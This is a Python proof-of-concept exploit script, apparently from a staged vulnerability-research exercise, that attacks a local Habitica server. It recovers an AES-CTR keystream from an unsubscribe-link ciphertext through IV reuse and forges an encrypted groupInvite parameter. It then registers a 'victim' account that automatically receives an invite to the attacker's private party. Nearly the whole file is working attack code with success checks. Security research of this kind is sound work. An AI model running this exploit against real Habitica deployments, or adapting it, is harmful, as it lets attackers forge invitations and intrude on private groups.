#!/usr/bin/env python3
"""Rung-3 PoC: forge a Habitica groupInvite via AES-CTR IV reuse."""

from __future__ import annotations

import json
import subprocess
import uuid
from collections import OrderedDict
from pathlib import Path

import requests

script_dir = Path(__file__).resolve().parent
repo_root = next(
    path for path in [script_dir, *script_dir.parents]
    if (path / "zn" / "scripts" / "up.sh").exists()
)
base_url = "http://localhost:3000"
up_script = repo_root / "zn" / "scripts" / "up.sh"
down_script = repo_root / "zn" / "scripts" / "down.sh"
config_script = repo_root / "zn" / "scripts" / "config.sh"
unsubscribe_helper = script_dir / "unsubscribe_code_helper.js"
container_repo_root = Path("/usr/src/habitica")
helper_path_inside_container = container_repo_root / unsubscribe_helper.relative_to(repo_root)
default_password = "CorrectHorseBatteryStaple1!"
http_timeout = 30


def _resolve_compose_file() -> Path:
    command = f"source '{config_script}' && resolve_compose_file"
    result = subprocess.run(
        ["bash", "-c", command],
        cwd=repo_root,
        capture_output=True,
        text=True,
        check=True,
    )
    return Path(result.stdout.strip())


compose_file = _resolve_compose_file()


def main():
    print("[+] Rung-3 objective: turn an unsubscribe ciphertext into a forged groupInvite and auto-join a private party.")
    session = requests.Session()

    suffix = uuid.uuid4().hex[:6]
    attacker_username = f"r3-attacker-{suffix}"
    attacker_local_part = f"{attacker_username}.padding-{'x'*30}"
    attacker_email = f"{attacker_local_part}@example.test"

    print(f"[+] Registering attacker-controlled account {attacker_username} ...")
    attacker = register_user(session, attacker_username, attacker_email)
    print(f"    -> Attacker _id: {attacker['id']}")

    party_name = f"r3-private-party-{suffix}"
    print(f"[+] Creating private party '{party_name}' to target ...")
    party = create_private_party(session, attacker, party_name=party_name)
    target_group_id = party["_id"]
    print(f"    -> Party created with _id {target_group_id}")

    print("[+] Simulating attacker email capture: generating unsubscribe ciphertext via helper script inside the app container ...")
    unsubscribe_cipher = fetch_unsubscribe_ciphertext(attacker["id"], attacker_email)
    unsub_plaintext = canonical_json(OrderedDict([
        ("_id", attacker["id"]),
        ("email", attacker_email),
    ])).encode("utf-8")
    keystream = recover_keystream(unsub_plaintext, unsubscribe_cipher)
    print(f"    -> Captured {len(keystream)} keystream bytes from unsubscribe link: {unsubscribe_cipher[:32]}...")

    invite_plaintext = canonical_json(OrderedDict([
        ("id", target_group_id),
        ("inviter", attacker["id"]),
    ])).encode("utf-8")
    forged_cipher = forge_ciphertext_hex(keystream, invite_plaintext)
    print(f"[+] Forged ciphertext for malicious groupInvite: {forged_cipher[:48]}...")

    victim_username = f"r3-victim-{suffix}"
    victim_email = f"{victim_username}@example.test"
    print(f"[+] Registering new victim account with forged groupInvite parameter ...")
    victim = register_user(session, victim_username, victim_email, group_invite=forged_cipher)
    print(f"    -> Victim _id: {victim['id']}")

    print("[+] Fetching victim profile to inspect pending invitations ...")
    victim_state = fetch_user_state(session, victim)
    party_invite = victim_state.get("invitations", {}).get("party") or {}
    inviter_id = party_invite.get("inviter")
    invite_group_id = party_invite.get("id")

    if invite_group_id == target_group_id and inviter_id == attacker["id"]:
        print("[+] SUCCESS: Newly created user automatically received the forged invite.")
        print(f"    -> invitations.party.id: {invite_group_id}")
        print(f"    -> invitations.party.inviter: {inviter_id}")
    else:
        print("[!] Victim invitations did not include the forged payload. Full invitations object:\n" + json.dumps(victim_state.get("invitations", {}), indent=2))
        raise SystemExit(1)


def run_cmd(command, *, capture_output=False, env=None):
    """Run a command from the repo root."""
    return subprocess.run(
        command,
        cwd=repo_root,
        env=env,
        capture_output=capture_output,
        text=True,
        check=True,
    )


def run_in_server_container(command, *, capture_output=False, env=None):
    """Execute a command inside the docker compose 'server' service."""
    env_args = []
    if env:
        for key, value in env.items():
            env_args.append(f"{key}={value}")
    full_command = [
        "docker", "compose", "-f", str(compose_file), "exec", "-T", "server",
        "env", *env_args, *command,
    ]
    return run_cmd(full_command, capture_output=capture_output)


def start_stack():
    """Boot the Habitica docker stack."""
    print(f"[+] Starting Habitica stack with {up_script.relative_to(repo_root)} ...")
    run_cmd(["bash", str(up_script)])


def stop_stack():
    """Tear down the Habitica docker stack."""
    print(f"[+] Stopping Habitica stack with {down_script.relative_to(repo_root)} ...")
    try:
        run_cmd(["bash", str(down_script)])
    except subprocess.CalledProcessError as err:
        print(f"[!] Stack shutdown reported an error: {err}")


def canonical_json(payload: OrderedDict) -> str:
    """Match Node's JSON.stringify output (no spaces, stable order)."""
    return json.dumps(payload, separators=(",", ":"), ensure_ascii=False)


def recover_keystream(plaintext: bytes, ciphertext_hex: str) -> bytes:
    cipher_bytes = bytes.fromhex(ciphertext_hex)
    if len(cipher_bytes) != len(plaintext):
        raise ValueError("Ciphertext length does not match plaintext length; IV reuse proof would fail.")
    return bytes(cb ^ pb for cb, pb in zip(cipher_bytes, plaintext))


def forge_ciphertext_hex(keystream: bytes, forged_plaintext: bytes) -> str:
    if len(keystream) < len(forged_plaintext):
        raise ValueError("Recovered keystream is too short for the forged payload.")
    forged = bytes(ks ^ pt for ks, pt in zip(keystream, forged_plaintext))
    return forged.hex()


def register_user(session: requests.Session, username: str, email: str, *, group_invite: str | None = None) -> dict:
    url = f"{base_url}/api/v3/user/auth/local/register"
    if group_invite:
        url += f"?groupInvite={group_invite}"
    payload = {
        "username": username,
        "email": email,
        "password": default_password,
        "confirmPassword": default_password,
    }
    response = session.post(url, json=payload, timeout=http_timeout)
    try:
        response.raise_for_status()
    except requests.HTTPError as err:  # type: ignore[attr-defined]
        raise RuntimeError(
            f"Registration failed ({response.status_code}): {response.text}"
        ) from err
    data = response.json()["data"]
    return {
        "id": data["_id"],
        "apiToken": data["apiToken"],
        "username": data["auth"]["local"]["username"],
        "email": data["auth"]["local"]["email"],
    }


def create_private_party(session: requests.Session, attacker: dict, *, party_name: str) -> dict:
    headers = {
        "x-api-user": attacker["id"],
        "x-api-key": attacker["apiToken"],
        "x-client": "rung3-poc",
    }
    payload = {
        "name": party_name,
        "type": "party",
        "privacy": "private",
    }
    response = session.post(f"{base_url}/api/v3/groups", headers=headers, json=payload, timeout=http_timeout)
    response.raise_for_status()
    return response.json()["data"]


def fetch_unsubscribe_ciphertext(user_id: str, email: str) -> str:
    if not unsubscribe_helper.exists():
        raise SystemExit(f"Missing helper script: {unsubscribe_helper}")
    result = run_in_server_container(
        ["node", str(helper_path_inside_container), user_id, email],
        capture_output=True,
    )
    ciphertext = (result.stdout or "").strip()
    if not ciphertext:
        raise RuntimeError("Unsubscribe helper did not emit ciphertext")
    return ciphertext


def fetch_user_state(session: requests.Session, user: dict) -> dict:
    headers = {
        "x-api-user": user["id"],
        "x-api-key": user["apiToken"],
    }
    response = session.get(f"{base_url}/api/v3/user", headers=headers, timeout=http_timeout)
    response.raise_for_status()
    return response.json()["data"]


if __name__ == "__main__":
    start_stack()
    try:
        main()
    finally:
        stop_stack()